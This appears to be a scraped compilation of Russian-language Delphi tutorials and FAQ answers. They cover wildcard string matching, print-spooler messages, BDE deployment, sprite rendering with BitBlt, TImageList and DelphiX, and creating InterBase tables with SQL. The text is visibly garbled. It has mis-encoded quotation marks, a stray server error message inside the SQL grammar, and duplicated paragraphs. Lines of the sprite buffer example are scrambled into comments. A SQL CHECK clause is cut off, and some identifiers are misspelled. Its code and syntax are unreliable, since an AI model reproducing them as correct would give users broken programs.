case mask[maskIndex] of
'?':
begin
// matches any character
Inc(sIndex);
Inc(maskIndex);
end; { case '?' }
'*':
begin
// matches 0 or more characters, so need to check for
// next character in mask
Inc(maskIndex);
if maskIndex > Length(mask) then
// * at end matches rest of string
Exit
else if mask[maskindex] in ['*', '?'] then
raise Exception.Create('Invalid mask');
// look for mask character in S
while (sIndex <= Length(S)) and
(S[sIndex] <> mask[maskIndex]) do
Inc(sIndex);
if sIndex > Length(S) then
begin
// character not found, no match
Result := False;
Exit;
end;
{ If }
end; { Case '*' }
else if S[sIndex] = mask[maskIndex] then
begin
Inc(sIndex);
Inc(maskIndex);
end { If }
else
begin
// no match
Result := False;
Exit;
end;
end; { Case }
end; { While }
// if we have reached the end of both S and mask we have a complete
// match, otherwise we only have a partial match
if (sIndex <= Length(S)) or (maskIndex <= Length(mask)) then
Result := False;
end; { stringMatchesMask }
procedure FindMatchingWords(const S, mask: string;
case_sensitive: Boolean; matches: Tstrings);
var
words: TstringList;
i: Integer;
begin
Assert(Assigned(matches));
words := TstringList.Create;
try
SplitTextIntoWords(S, words);
matches.Clear;
for i := 0 to words.Count - 1 do
begin
if stringMatchesMask(words[i], mask, case_sensitive) then
matches.Add(words[i]);
end; { For }
finally
words.Free;
end;
end;
{
The Form has one TMemo for the text to check, one TEdit for the mask,
one TCheckbox (check = case sensitive), one TListbox for the results,
one Tbutton
}
procedure TForm1.Button1Click(Sender: TObject);
begin
FindMatchingWords(memo1.Text, edit1.Text, checkbox1.Checked, listbox1.Items);
end;
Существует ли способ для определение числа заданий Sроо1ега печати.
Вопрос: Существует ли способ для определение числа заданий sроо1ега печати? Ответ: Sроо1ега печати Windows посылает WM_SPOOLERSTATUS каждый раз при добавлении и удалении заданий в очереди печати. В следующем примере показано как перехватить это сообщениеПример:
type
TForm1 = class(TForm)
Label1: TLabel;
private
{ Private declarations }
procedure WM_SpoolerStatus(var Msg: TWMSPOOLERSTATUS);
message WM_SPOOLERSTATUS;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WM_SpoolerStatus(var Msg: TWMSPOOLERSTATUS);
begin
Lable1.Caption := IntToStr(msg.JobsLeft) +
' Jobs currenly in spooler';
msg.Result := 0;
end;
|
Распространение BDE.
Следуйте приведенной ниже инструкции для разворачивания BDE на клиентской машине: Отформатируйте две дискеты в дисководе клиентской машины. Пометьте дискеты как "Disk 1" и "Disk 2". Скопируйте файлы с DELPHI CD, содержащиеся в каталоге \REDIST\BDEINST\DISK1 на дискету, помеченную как "Disk 1", и файлы из каталога \REDIST\BDEINST\DISK2 на дискету "Disk 2". Вставьте в дисковод клиентской машины дискету, помеченную как "BDE Install 1" (в нашем примере мы используем дисковод с буквой A:). Убедитесь в том, что в Windows отсутствуют запущенные программы. В Windows Program Manager выберите File|Run, введите в поле редактирования командной строки ("Command Line") "A:\DISK1\SETUP" и нажмите "OK" для начала установки Borland Database Engine на клиентской машине. Сначала, на короткое время, появится окно "Database Engine Install", затем диалог "preparing to install...", и, наконец, диалог "BDE Redisttributable", содержащий кнопки Continue (Продолжить) и Exit (Выйти). Нажмите "Continue". Появится диалог "Borland Database Engine Location Settings", позволяющий изменить каталог установки программ BDE и конфигурационных файлов. Оставьте настройки по умолчанию и нажмите "Continue" (Продолжить). Появится диалог "Borland Database Engine Installation", позволяющий вернуться к предыдущим диалогам или начать установку. Нажмите "Install" (Установить). Процесс копирования дискеты "Disk 1" будет отображаться полоской прогресса. Появится диалог "BDE Redistributable Install Request". Вставьте дискету "Disk 2". Нажмите "continue" (Продолжить). По окончании процедуры установки появится диалог "Borland Database Engine Installation Notification", сообщающий об успешной установке BDE. Нажмите "Exit" (Выход). Завершите работу Windows, удалите дискету из дисковода и перегрузите клиентскую машину.Если настройки по умолчанию уже где-то используются, произойдут изменения, указанные ниже. На клиентской машине появятся два новых каталога - \IDAPI и \IDAPI\LANGDRV. Обратите внимание на то, что утилита BDE Configuration Utility, BDECFG.EXE, располагается в каталоге \IDAPI. Языковые драйвера располагаются в каталоге \IDAPI\LANGDRV как файлы *.LD. AUTOEXEC.BAT, CONFIG.SYS и SYSTEM.INI при инсталляции не изменяются. WIN.INI в каталоге \WINDOWS\SYSTEM будет иметь новые секции:[IDAPI] DLLPATH=C:\IDAPI CONFIGFILE01=C:\IDAPI\IDAPI.CFG [Borland Language Drivers] LDPath=C:\IDAPI\LANGDRV
Работа со спрайтами.
Содержание.
Введение Спрайты c готовой маской Спрайты c программной маской Transparent Использование TImageList Использование Direct X Список ссылок Введение Для начала нужно разобраться, что же такое спрайт. Вот такое описание я нашел в книге Андрэ Ла Мота: " Знаете, есть такой газированный напиток... Снова шучу. На самом деле спрайты - это маленькие объектики, которые находятся на игровом поле и могут двигаться. Этот термин прижился с легкой руки программистов фирмы Atari и Apple в середине 70-х годов. Спрайты - это персонажи в играх для ПК, которые могут без труда перемещаться по экрану, изменять цвет и размер " И так, спрайт это персонаж игры. Не углубляясь в дебри программирования, могу сказать что спрайт это массив из цветов - для простаты представим его как BMP файл или TBitmap, тем более что, этот формат поддерживаемый windows и не содержащий компрессии. Что нам нужно от спрайта - заставить его появляться на экране и образовывать анимацию. Анимация это не только смена координаты спрайта, но и изменение самой картинки. Следовательно спрайт может иметь не одно изображение, а несколько. Смена их и приводит к анимации. Как я уже говорил спрайт это матрица. При вписывании в кравдрат ( прямоугольник ) сложного объекта, например волшебника из рисунка ниже, остается свободное пространство. Его заполняют цветом, которого нет в изображении самого объекта. При простом копировании этой матрицы ( или для простоты BMP или TBitmap ) на экран выводится и волшебник и фон под ним. Но нам это не всегда, подчеркну не всегда, нужно. Если спрайт выводится на фон, то он затирает все квадратную область.Как я уже говорил спрайт это матрица. При вписывании в кравдрат ( прямоугольник ) сложного объекта, например волшебника из рисунка ниже, остается свободное пространство. Его заполняют цветом, которого нет в изображении самого объекта. При простом копировании этой матрицы ( или для простоты BMP или TBitmap ) на экран выводится и волшебник и фон под ним. Но нам это не всегда, подчеркну не всегда, нужно. Если спрайт выводится на фон, то он затирает все квадратную область.
Не правда ли есть разница, и довольно заметная. При выводе на экран использовался один и тот же рисунок, но все зависит от способа выведения спрайта.
1-й способ ( маг в белом квадрате ) основан на простом копировании одной области памяти в другую.
2-й способ ( маг на фоне ) то же копирование, но интеллектуальное. Копирование происходит по следующему алгоритму: Если цвет копируемого элементы матрицы ( область памяти ) соответствует значению цвета Transparent Color, то копирования не происходит, переходим к следующему элементу.
3-й способ так же основан на копирование области памяти, но с применением логических операций - маски.
Спрайты c готовой маской
Способов вывести спрайт на поверхность экрана много. Рассмотрим один из них. Это способ, когда отдельно рисуется спрайт и отдельно маска. Для этого нам понадобится сам спрайт, его маска и буфер.
Спрайт |
Маска спрайта
|
И спрайт и маска должны иметь одинаковый размер, в данном примере 50x50. Для чего нужна маска? Она нужна для того, чтобы при выводе спрайта не затиралось изображение, которое находится под ним. Маску можно заготовить отдельно в BMP файле - более быстрый способ, а можно рассчитать программно.Спрайт и маску помещаем в TBitmap.
Wizard := Tbitmap.Create;
Wizard.Loadfromfile('spr1.bmp'); // Bitmap для спрайта
WizardMask := Tbitmap.Create;
WizardMask.Loadfromfile('spr2.bmp'); // Bitmap для маски
Ну вот, у нас есть спрайт, маска и нам это вывести его на экран. Для этого существует функция Win32Api:
BitBlt (param_1,X1,Y1,dX1,dY1,param_2,X2,Y2,param_3);Param_1 - Handle на поверхность куда выводить. X1,Y1 - Смещение от начала координат. dX1,dY1 - Размер выводимого изображения. Param_2 - Handle откуда брать. X2,Y2 - Размер выводимого изображения. Param_3 - Параметры копирования. Для нашего случая:
BitBlt(Buffer.Canvas.Handle,X,Y,50,50, WizardMask.Canvas.Handle,0,0,SrcPaint); BitBlt(Buffer.Canvas.Handle,X,Y,50,50, Wizard.Canvas.Handle,0,0,SrcAnd);SrcPaint - Копировать только белое. SrcAnd - Копировать все кроме белого. Сначала выводим маску с параметром SrcPaint, а затем в тоже место ( координаты X,Y) сам спрайт с параметром SrcAnd.
Осталось рассмотреть зачем же нужен буфер. При выводе одного спрайта вы не почувствуете мелькания изображения, но когда их будет 100-200 это будет заметно. По этому все спрайты копируются в буфер - это Tbitmap размером с экран или окно, короче изменяемой области. Вот как окончательно будет выглядеть фрагмент программы :
...
var
Wizard, WizardMask, Buffer: Tbitmap;
X, Y: integer;
begin
...
Wizard := Tbitmap.Create;
Wizard.Loadfromfile('spr1.bmp');
WizardMask := Tbitmap.Create;
WizardMask.Loadfromfile('spr2.bmp');
// Копируем маску в буфер BitBlt(Buffer.Canvas.Handle,X,Y,50,50,
Buffer := Tbitmap.Create;
WizardMask.Canvas.Handle, 0, 0, SrcPaint);
// Копируем спрайт в буфер
BitBlt(Buffer.Canvas.Handle, X, Y, 50, 50, Wizard.Canvas.Handle, 0, 0, SrcAnd);
...
// Перемещаем буфер на форму BitBlt(Form1.Canvas.Handle,0,0,320,240,
// Buffer.Canvas.Handle,0,0,SrcCopy);
Флаг SrcCopy означает копирование без изменения, аналогичен простому перемещению одного участка памяти в другой.
Не нужно думать, что готовая маска это прошлое компьютерных игр. В любом случае, маска создается, только иногда это делается программно, а иногда заготавливается в виде отдельного файла. Какой вариант лучше, нужно смотреть по конкретному примеру.
Я не буду расписывать все параметры BitBlt, если интересно смотрите сами в Delphi Help. Ну вот и все. Напоследок картина творчества.
Спрайт
Спрайты c программной маской - Transparent
Другой метод вывода спрайтов - методом программной маски. Этот способ, немного медленнее, но не требует возни с изготовлением масок. Это не значит, что маски вообще нет. Маска присутствует и создается в памяти.
Для счастливых обладателей Windows NT подойдет способ, который используется в самой ОС. Это функция MaskBlt. Судя по ее названию, она позволяет выводить растры используя битовые маски.
Привиду пример на спрайтах из игры Эпоха Империй I. Наша задача, как и во всех предыдущих примерах, вывести спрайт с Transparent Color (по русски плохо звучит). В игре он черный.
Начальный вариант спрайта |
Это уже полученная маска
|
Вызвали MaskBLT |
MaskBlt + BitBlt
|
var
Sprite, Mask: TBitmap;
begin
Sprite := TBitmap.Create;
Sprite.LoadFromFile('G0100219.bmp');
Mask := TBitmap.Create;
Mask.LoadFromFile('G0100219.bmp');
Mask.Mask(clBlack); // Создание маски
// Преобразование в маску, после этого получится Bitmap, представленный
// на Рис 2
MaskBlt(Form1.Canvas.Handle, 10, 10, Sprite.Width, Sprite.Height,
Sprite.Canvas.Handle, 0, 0, Mask.MaskHandle, 0, 0, SRCPAINT);
// После вызова этой функции, экран выглядит как на рисунке 3.
BitBlt(Form1.Canvas.Handle, 10, 10, Sprite.Width, Sprite.Height,
Sprite.Canvas.Handle, 0, 0, SRCPAINT);
end;
С Windows NT все понятно, но как быть в других ОС? ( Хотя возможно, эта функция появится(-лась) в Windows 2000 и Windows Me). Использовать библиотеки сторонних разработчиков. Если они поставляются с исходным кодом, то вы можете перенести необходимые вам процедуры в собственный модуль.
Я нашел самую быструю библиотеку для работы с графикой - Media Library Component Version 1.93. В примере используется только часть ее. Нам понадобится только одна процедура:
DrawBitmapTransparent(param_1,X,Y,param_2,param_3);param_1 - Canvas, куда копировать X,Y - Смещение param_2 - TBitmap, что копировать. param_3 - TColor, цвет Transparent - этот цвет не будет копироваться Применение только данной библиотеки не принципиально. Практически в любом наборе VCL компонентов от сторониих производителей есть процедуры или функции для вывода Bitmap с использованием цвета прозрачности. Такие процедуры есть в библиотеке RXLib, LMD Tools, Cool Control и многих других.
Для нашего примера: DrawBitmapTransparent(Buffer.Canvas,WizardX,WizardY,Wizard,clRed); Спрайт должен выглядеть так:
Небольшое замечание по поводу Transparent. Цвет надо выбирать такой, которого нет на самом спрайте, иначе неизбежны "дырки" в изображении. Лучше всего такой : #00FF00 - ярко зеленый, но можно использовать черный или белый.
В предыдущей главе "Работа спрайта c готовой маской" я подвесил передвижение спрайта на таймер:
procedure TForm1.Timer1Timer(Sender: TObject); begin ... // тело цикла end.Да способ хорош, но не так быстродейственен. Есть еще пара вариантов : 1. Создать поток TThread - в примере разобран именно он. 2. "Подвесить" на IDL
Рассмотрим сначала второй способ т.к. он наименее прогрессивен:) Пишем такую процедуру:
procedure TForm1.Tic(Sender: TObject; var Done: Boolean); begin ... // Сюда заносим, что надо исполнять. ... Done := false; end;
.... и еще немного:
procedure TForm1.FormCreate(Sender: TObject); begin ... Application.OnIdle := Tic; end;Способ быстрее в 1-2 раз чем таймер, но не лишен недостатков. Не буду объяснять почему. Первый способ самый оптимальный для игры, как самой сложной так и простой. Реализуется он с помощью потоков. В игре их можно создать несколько - один для обработки графики, другой для AI, третий для музыки и т.д. У каждого потока свой приоритет, но высший только у одного. При работе с несколькими потоками не забывайте их "прибивать" при выходе из программы.
Сначала заводим новый класс:
TGameRead = class(TThread) // класс для таймера игры protected procedure Execute; override; // Запуск procedure Tic; // Один тик программы end;
// Потом переменную :
var
...
T1: TGameRead;
...
// Описываем процедуры класса :
procedure TGameRead.execute;
begin
repeat
synchronize(Tic);
until
Terminated
end;
procedure TGameRead.Tic;
begin
...
// Тут пишем все как в TTimer - OnTime
...
end;
// В событии Form1.Create инициализируем поток, и задаем приоритет.
// Расписывать все приоритеты не буду, читайте Delphi Help
// ...и не забываем убрать за собой:
...
T1 := TGameRead.Create(false); // Создаем поток
T1.Priority := TpHighest; // Ставим приоритет
...
procedure TForm1.FormDestroy(Sender: TObject);
begin
T1.Suspend; // Приостановим
T1.Free; // и прибьем
end;
// Ну вот и все. Ах да, вас наверное заинтересовала строчка FPS.
// Так это тоже самое, что выдает Quake на запрос "showframerate"
// или что-то такого плана - количество кадров в секунду.
// Делается это так : заводится переменная:
var
G: integer;
...
// При каждом вызове потока Tic, она увеличивается на единицу:
procedure TGameRead.Tic;
begin
...
Inc(G); // Увеличиваем значение G
end;
// Создаем таймер с интервалом 1000 - это 1 секунда, и в событии
// OnTime выводим значение G в метку. В значении G будет количество
// вызовов процедуры DoSome за 1 секунду:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
label1.caption := 'FPS :' + IntToStr(G);
G := 0; // Обнуляем G
end;
На моем средненьком Pentium AMD 233 c Intel 740 8M - выдает 90-100 кадров в секунду, при окне 360X360. Для начала неплохо!
P.S. У вас может возникнуть вопрос - почему передвижение спрайта за мышкой. Ответ: наименьшие затраты на писанину тест программы, при неплохом разнообразии движения.
Использование внешних процедур для Transparent вывода спрайтов, хорошо но есть несколько минусов данного способа:
во первых эти процедуры не слишком оптимизированы - их основное предназначение вывод простеньких элементов приложения, таких как иконок, картинок кнопок и т.д. Хотя это не относится к некоторым библиотекам, код которых на 90% состоит из ассемблера.
во вторых хранить выводимое изображение нужно в bmp файле, хотя подойдет и любой другой, не применяющий компрессию с потерей ( Jpeg) . Если картинок более 1-й, а при нормальной анимации их набирается порядка 150-200 на один юнит, то сложно получать именно нужный участок файла.
Приведу пример
В bmp файле содержатся 8 картинок - 64x64 пикселя. Нужно получить доступ к 6-й картинке ( на рисунке помечена розовым квадратом)- ее координаты будут 128,64.
Чтобы получить следующий кадр анимации, нужно снова ко номеру кадра считать координаты : Не совсем удобно. Все эти проблемы можно решить используя TImageList.
Использование TImageList
Используя этот компонент можно не думать о координатах картинки, цвете прозрачности - он решает сразу две проблемы.
Разберем что нужно сделать, для вывода спрайта с использованием TImageList. Во первых нужно загрузить набор спрайтов TImageList, для этого лучше всего использовать команду:
TImageList.AddMasked(Image: TBitmap; MaskColor: TColor): Integer;
Первый параметр - это Bitmap, второй Transparent Color - цвет прозрачности. Если Вам не нужно использовать цвет прозрачности, то нужно использовать процедуру Add. После загрузки всех картинок, можно приступать к их выводу на экран. Для этого существует процедура:
procedure TImageList.Draw(Canvas: TCanvas; X, Y, Index: Integer);Первый параметр Canvas на который будет произведена отрисовка, второй и третий координаты для вывода X и Y а четвертый индекс или порядковый номер выводимого изображения.
Для примера:
ImageList1.Draw(Canvas,0,0,6);
Тот же самое, но с использованием BitBlt:
BitBlt(Canvas.Handle,0,0,64,64,Bitmap_Mask.Canvas.Handle,128,64,SrcPaint); - маска BitBlt(Canvas.Handle,0,0,64,64,Bitmap.Canvas.Handle,128,64,SrcAnd; - спрайт ImageList1.Draw(Canvas,0,0,6);
Тот же самое, но с использованием BitBlt:
BitBlt(Canvas.Handle,0,0,64,64,Bitmap_Mask.Canvas.Handle,128,64,SrcPaint); - маска BitBlt(Canvas.Handle,0,0,64,64,Bitmap.Canvas.Handle,128,64,SrcAnd; - спрайт
Думаю пояснять нет нужды, что использовать TImageList лучше, и проще. Пример работы с TImageList описан в файле. Там показана анимация персонажа из игры WarCraft и Warlord III. Я так и не разобрался как работает механизм отрисовки в TImageList. Мои раскопки привели к такой функции :
function ImageList_Draw(ImageList: HImageList; Index: Integer; Dest: HDC; X, Y: Integer; Style: UINT): Bool; stdcall;
И.
function ImageList_DrawEx(ImageList: HImageList; Index: Integer; Dest: HDC; X, Y, DX, DY: Integer; Bk, Fg: TColorRef; Style: Cardinal): Bool; stdcall;HImageList - Handle на TImageList. Так как вызывается экспортируемая процедура, находящаяся в библиотеке Comctl32.dll то остается не понятным, какие алгоритмы используются при выводе изображения. Могу только сказать, что при добавлении нового изображения, добавляется как изображение так и маска.
Я заинтересовался данным вопросом и продолжал копать стандартные библиотеки Windows и компоненты. Возможно информация по данным вопросам содержится во многочисленных SDK, выпускаемых Microsoft. В компоненте TFastDIB я наткнулся на процедуру Draw:
procedure TFastDIB.MaskDraw(fDC,x,y:Integer;c:TFColor); begin TransBlt(fDC,x,y,Width,Height,hDC,0,0,Width,Height,PDWord(@c)^); end;
Естественно меня заинтересовала процедура TransBlt и вот что я нашел:
function TransBlt(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11:DWord):BOOL; stdcall; ... function CreateDIB; external 'gdi32.dll' name 'CreateDIBSection'; function TransBlt; external 'msimg32.dll' name 'TransparentBlt'; function AlphaBlt; external 'msimg32.dll' name 'AlphaBlend';
Мне захотелось посмотреть, а что еще может библиотека 'msimg32.dll' и вот полный список:
AlphaBlend GradientFill TransparentBlt DllInitialize vSetDdrawflagВсе, хватит, а то некоторые читатели и так ничего не поняли. Но для интересующихся скажу - не все процедуры и функции описаны в Delphi, многое не документировано. Использование DirectX Чем плохи рассмотренные выше методы вывода спрайтов - они медленные. Хочу подчеркнуть, что для каждой программы нужно выбирать свои методы написания. Конкретное задание требует своих средств исполнения. То что Microsoft написал библиотеку Direct X не значит что тут же нужно писать всю графику используя ее. Приведу пример. Самая популярная игра для Windows - Quake II, Warcraft, Diablo - нет САПЕР и ПАСЬЯНС. Можете не верить, но это факт. В первую категорию играют ограниченный контингент людей в последнюю играли ВСЕ. Я это говорю к тому, что если вы пишите графическое приложение, то нужно ориентироваться на его потребности и выбирать соответствующие технологию зависимости от них. Какие это потребности: необходимость вывода большого количества часто сменяющихся изображений большой объем графической информации аппаратная поддержка максимальное быстродействие Используя Direct X можно получит все вышеперечисленное. Набор этих библиотек, изначально разрабатывался как средство для работы с графикой. Что было, когда писали под DOS: строили в участке памяти ( back buffer ) какое то изображение или копировали туда спрайты, а потом перемещали этот back buffer в область "экранной" памяти. Сразу отрисовывался весь экран. С приходом Windows, переместить участок памяти в экранную область не возможно. Приходится использовать Canvas, Handle. DirectX позволяет решить все эти проблемы. Вы можете подготавливать изображение на так называемой поверхности, и потом FLIP и вся поверхность становится видимой - копируется в экранную область видеопамяти. Должен заметить, что алгоритм работы ничуть не меняется. С появлением DirectX появились и аппаратные поддержки таких необходимых вещей как: Trancparent Color и Bit blitting. Термин бит-блиттинг означает процесс перемещения группы битов (образа) из одного места экрана в другое или памяти. В играх на ПК нас интересует перемещение образа из области хранения вне экрана в область видеобуфера. Кто интересуется аппаратными возможностями своей видео карты, то их можно узнать достав Microsoft DirectX CPL. В ней можно просмотреть, какие функции в видео карте реализуются аппаратно, а какие програмно. Итак процесс работы таков, загружаете спрайты на поверхность (ISurface) затем нужно вызвать процедуру BLT или BLTFAST, потом поменять буферную и видимую поверхность командой FLIP и все.
В начале раздела я написал Direct X, но я несколько обманул Вас. Я расскажу как выводить спрайты с помощью Direct X, но с использованием набора VCL компонентов DelphiX . Я это делаю по той простой причине, что если я напишу пример используя стандартные модули DirectX то их некоторые не поймут, отчаяться и бросят программировать вообще :) Согласитесь не все сразу поймут, что делает данная процедура, хотя она всего лишь меняет поверхности.
var
hRet: HRESULT;
begin
Result := False;
while True do
begin
hRet := FDDSPrimary.Flip(nil, 0);
if hRet = DD_OK then
Break
else
if hRet = DDERR_SURFACELOST then
begin
hRet := RestoreAll;
if hRet <> DD_OK then
Exit;
end
else if hRet <> DDERR_WASSTILLDRAWING then
Exit;
end;
Result := True;
end;
По этому я и решил использовать DelphiX. Писать с помошью него очень просто. Нам потребуется всего два компонента. Первый TDXDraw - если объяснить коротко, то это аналог TCanvas. Еще один компонент это TDXImageList - прямой аналог TImageList, единственно все элементы являются TDIB и не содержат ни каких масок.
Что нужно сделать чтобы успешно создать и анимировать спрайт. Как и с TImageList нужно загрузить BMP файл в элемент TDXImageList. Элемент TImageList предварительно нужно создать в программе или создать из Object Inspector.
DXImageList1.Items[0].picture.LoadFromFile('golem_start.bmp');
// Для вывода нужно использовать процедуру:
DXImageList1.Items[0].draw(DXDraw1.Surface,0,0,6);
Вот и все. Прямая аналогия с TImageList ... очень удобно переносить код.
Список ссылок:
Адрес автора: mirovodin@mail.ru Исходный код примера с готовыми масками Исходный код примера с програмными масками Исходный код примера c использованием DirectX Библиотека Media Library Component Version 1.93 Библиотека DelphiX Библиотека FastDib / есть процедуры TransparentDraw Пример работы со спрайтами : перемещение, создание, уничтожение ( смерть юнита ), перемещение в заданную точку, атака противника... Спрайты взяты из игры Diablo. Для компиляции потребуется DelphiX.
Создание таблиц с помощью SQL-запросов.
Автор: ПавелСодержание
Обзор Создание таблиц с помощью SQL Заключение Обзор На данном уроке мы познакомимся еще с одной возможностью создания таблиц - через посылку SQL-запросов. Как Вы, наверное, могли заметить на предыдущем уроке, Database Desktop не обладает всеми возможностями по управлению SQL-серверными базами данных. Поэтому с помощью Database Desktop удобно создавать или локальные базы данных или только простейшие SQL-серверные базы данных, состоящие из небольшого числа таблиц, не очень сильно связанных друг с другом. Если же Вам необходимо создать базу данных, состоящую из большого числа таблиц, имеющих сложные взаимосвязи, можно воспользоваться языком SQL (вообще говоря, для этих целей лучше всего использовать специализированные CASE-средства, которые позволяют в интерактивном режиме сгенерировать всю структуру базы данных и сформировать все связи; описание двух наиболее удачных CASE-средств - System Architect и S-Designor - дано в дополнительных уроках). При этом можно воспользоваться компонентом Query в Delphi, каждый раз посылая по одному SQL-запросу, а можно записать всю последовательность SQL-предложений в один так называемый скрипт и послать его на выполнение, используя, например, Windows Interactive SQL (WISQL.EXE) - интерактивное средство посылки SQL-запросов к InterBase (в том числе и локальному InterBase), входящее в поставку Delphi. Конечно, для этого нужно хорошо знать язык SQL, но, уверяю Вас, сложного в этом ничего нет! Конкретные реализации языка SQL незначительно отличаются в различных SQL-серверах, однако базовые предложения остаются одинаковыми для всех реализаций. Практика показывает, что если нет необходимости создавать таблицы во время выполнения программы, то лучше воспользоваться WISQL. Создание таблиц с помощью SQL Если Вы хотите воспользоваться компонентом TQuery, сначала поместите его на форму. После этого настройте свойство DatabaseName на нужный Вам алиас (если базы данных еще не существует, удобней создать ее в WISQL командой File|Create Database..., а затем уже настроить на нее новый алиас). После этого можно ввести SQL-предложение в свойство SQL. Для выполнения запроса, изменяющего структуру, вставляющего или обновляющего данные на сервере, нужно вызвать метод ExecSQL компонента TQuery. Для выполнения запроса, получающего данные с сервера (т.е. запроса, в котором основным является оператор SELECT), нужно вызвать метод Open компонента TQuery. Ёто связано с тем, что BDE при посылке запроса типа SELECT открывает так называемый курсор, с помощью которого осуществляется навигация по выборке данных (подробней об этом см. в уроке, посвященном TQuery). Как показывает опыт, проще воспользоваться утилитой WISQL. Для этого в WISQL выберите команду File|Run an ISQL Script... и выберите файл, в котором записан ваш скрипт, создающий базу данных. После нажатия кнопки УОКФ ваш скрипт будет выполнен, и в нижнее окно будет выведен протокол его работы.Приведем упрощенный синтаксис SQL-предложения для создания таблицы на SQL-сервере InterBase (более полный синтаксис можно посмотреть в online-справочнике по SQL, поставляемом с локальным InterBase):
CREATE TABLE table ( [, | ...]);где table - имя создаваемой таблицы, - описание поля, - описание ограничений и/или ключей (квадратные скобки [] означают необязательность, вертикальная черта | означает УилиФ). Описание поля состоит из наименования поля и типа поля (или домена - см. урок 9), а также дополнительных ограничений, накладываемых на поле:
= col {datatype | COMPUTED BY () | domain}
[DEFAULT {literal | NULL | USER}]
[NOT NULL] []
[COLLATE collation]
Здесь:
col - имя поля; datatype - любой правильный тип SQL-сервера (для InterBase такими типами являются - см. урок 11 - SMALLINT, INTEGER, FLOAT, DOUBLE PRECISION, DECIMAL, NUMERIC, DATE, CHAR, VARCHAR, NCHAR, BLOB), символьные типы могут иметь CHARACTER SET - набор символов, определяющий язык страны. Для русского языка следует задать набор символов WIN1251; COMPUTED BY () - определение вычисляемого на уровне сервера поля, где - правильное SQL-выражение, возвращающее единственное значение; domain - имя домена (обобщенного типа), определенного в базе данных; DEFAULT - конструкция, определяющая значение поля по умолчанию; NOT NULL - конструкция, указывающая на то, что поле не может быть пустым; COLLATE - предложение, определяющее порядок сортировки для выбранного набора символов (для поля типа BLOB не применяется). Русский набор символов WIN1251 имеет 2 порядка сортировки - WIN1251 и PXW_CYRL. Для правильной сортировки, включающей большие буквы, следует выбрать порядок PXW_CYRL. Описание ограничений и/или ключей включает в себя предложения CONSTRAINT или предложения, описывающие уникальные поля, первичные, внешние ключи, а также ограничения CHECK (такие конструкции могут определяться как на уровне поля, так и на уровне таблицы в целом, если они затрагивают несколько полей):= [CONSTRAINT constraint ] [an error occurred while processing this directive]
Здесь.
= {{PRIMARY KEY | UNIQUE} (col[,col...]) |
FOREIGN KEY (col [, col ...]) REFERENCES other_table
| CHECK ()}
=
{ { | ()}
| [NOT] BETWEEN AND
| [NOT] LIKE [ESCAPE ]
| [NOT] IN ( [, ...] |
= {
col [] | | |
| NULL | USER | RDB$DB_KEY } [COLLATE collation]
= num | "string" | charsetname "string"
= {
COUNT (* | [ALL] | DISTINCT )
| SUM ([ALL] | DISTINCT )
| AVG ([ALL] | DISTINCT )
| MAX ([ALL] | DISTINCT )
| MIN ([ALL] | DISTINCT )
| CAST ( AS )
| UPPER ()
| GEN_ID (generator, )
}
= {= | | = | ! | <> | !=}
= выражение SELECT по одному полю,
которое возвращает в точности одно значение.
Приведенного неполного синтаксиса достаточно для большинства задач, решаемых в различных предметных областях. Проще всего синтаксис SQL можно понять из примеров. Поэтому мы приведем несколько примеров создания таблиц с помощью SQL.
Пример A: Простая таблица с конструкцией PRIMARY KEY на уровне поля
CREATE TABLE REGION ( REGION REGION_NAME NOT NULL PRIMARY KEY, POPULATION INTEGER NOT NULL);Предполагается, что в базе данных определен домен REGION_NAME, например, следующим образом:
CREATE DOMAIN REGION_NAME AS VARCHAR(40) CHARACTER SET WIN1251 COLLATE PXW_CYRL;Пример B: Таблица с предложением UNIQUE как на уровне поля, так и на уровне таблицы
CREATE TABLE GOODS ( MODEL SMALLINT NOT NULL UNIQUE, NAME CHAR(10) NOT NULL, ITEMID INTEGER NOT NULL, CONSTRAINT MOD_UNIQUE UNIQUE (NAME, ITEMID));Пример C: Таблица с определением первичного ключа, внешнего ключа и конструкции CHECK, а также символьных массивов CREATE TABLE JOB ( JOB_CODE JOBCODE NOT NULL, JOB_GRADE JOBGRADE NOT NULL, JOB_REGION REGION_NAME NOT NULL, JOB_TITLE VARCHAR(25) CHARACTER SET WIN1251 COLLATE PXW_CYRL NOT NULL, MIN_SALARY SALARY NOT NULL, MAX_SALARY SALARY NOT NULL, JOB_REQ BLOB(400,1) CHARACTER SET WIN1251, LANGUAGE_REQ VARCHAR(15) [5], PRIMARY KEY (JOB_CODE, JOB_GRADE, JOB_REGION), FOREIGN KEY (JOB_REGION) REFERENCES REGION (REGION), CHECK (MIN_SALARY Данный пример создает таблицу, содержащую информацию о работах (профессиях). Типы полей основаны на доменах JOBCODE, JOBGRADE, REGION_NAME и SALARY. Определен массив LANGUAGE_REQ, состоящий из 5 элементов типа VARCHAR(15). Кроме того, введено поле JOB_REQ, имеющее тип BLOB с подтипом 1 (текстовый блоб) и размером сегмента 400. Для таблицы определен первичный ключ, состоящий из трех полей JOB_CODE, JOB_GRADE и JOB_REGION. Далее, определен внешний ключ (JOB_REGION), ссылающийся на поле REGION таблицы REGION. И, наконец, включено предложение CHECK, позволяющее производить проверку соотношения для двух полей и вызывать исключительное состояние при нарушении такого соотношения. Пример D: Таблица с вычисляемым полем
CREATE TABLE SALARY_HISTORY ( EMP_NO EMPNO NOT NULL, CHANGE_DATE DATE DEFAULT "NOW" NOT NULL, UPDATER_ID VARCHAR(20) NOT NULL, OLD_SALARY SALARY NOT NULL, PERC_CHANGE DOUBLE PRECISION DEFAULT 0 NOT NULL CHECK (PERC_CHANGE BETWEEN -50 AND 50), NEW_SALARY COMPUTED BY (OLD_SALARY + OLD_SALARY * PERC_CHANGE / 100), PRIMARY KEY (EMP_NO, CHANGE_DATE, UPDATER_ID), FOREIGN KEY (EMP_NO) REFERENCES EMPLOYEE (EMP_NO));Данный пример создает таблицу, где среди других полей имеется вычисляемое (физически не существующее) поле NEW_SALARY, значение которого вычисляется по значениям двух других полей (OLD_SALARY и PERC_CHANGE). На диске приведен пример скрипта, создающего базу данных, осуществляющую ведение контактов между людьми и организациями. Заключение
Итак, мы рассмотрели, как создавать таблицы с помощью SQL-выражений. Ётот процесс, хотя и не столь удобен, как интерактивное средство Database Desktop, однако обладает наиболее гибкими возможностями по настройке Вашей системы и управления ее связями.
Функции дат в SQL.
